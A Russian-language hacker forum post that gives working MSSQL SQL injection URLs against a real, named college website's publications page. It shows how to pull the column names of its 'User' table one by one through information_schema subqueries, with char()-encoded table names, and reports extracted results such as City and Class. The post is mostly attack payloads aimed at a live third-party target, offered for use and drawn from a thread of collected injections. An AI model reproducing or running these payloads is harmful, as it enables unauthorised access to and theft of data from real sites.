
29.06.2010, 23:32
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
Пример в студию ускорил бы решение вашей проблемы, да, бывают специфичные ситуации
PS: Вообще not in и перечислять там имена колонок тупо - тухлец способ по определению
Вот если брать одну из mssql-инъекций в "Ваши sql-инъекции":
/showpost.php?p=2168515&postcount=12236
Код:
http://merritt.peralta.edu/apps/pubs.asp?Q=1+or+1=@@version--
то для выяснения колонок из таблицы User ми бы рекомендовал бы такую конструкцию (как показала практика - самая универсальная для различных ситуаций):
Код:
http://merritt.peralta.edu/apps/pubs.asp?Q=1+or+1=(select+max(column_name)+from+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)+and+column_name+not+in+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)+order+by+column_name)+order+by+column_name)a)--
получим City
Код:
http://merritt.peralta.edu/apps/pubs.asp?Q=1+or+1=(select+max(column_name)+from+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)+and+column_name+not+in+(select+top+2+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)+order+by+column_name)+order+by+column_name)a)--
получим Class
.....
во втором случае меняется
.....not+in+(select+top+ 2....
|
|
|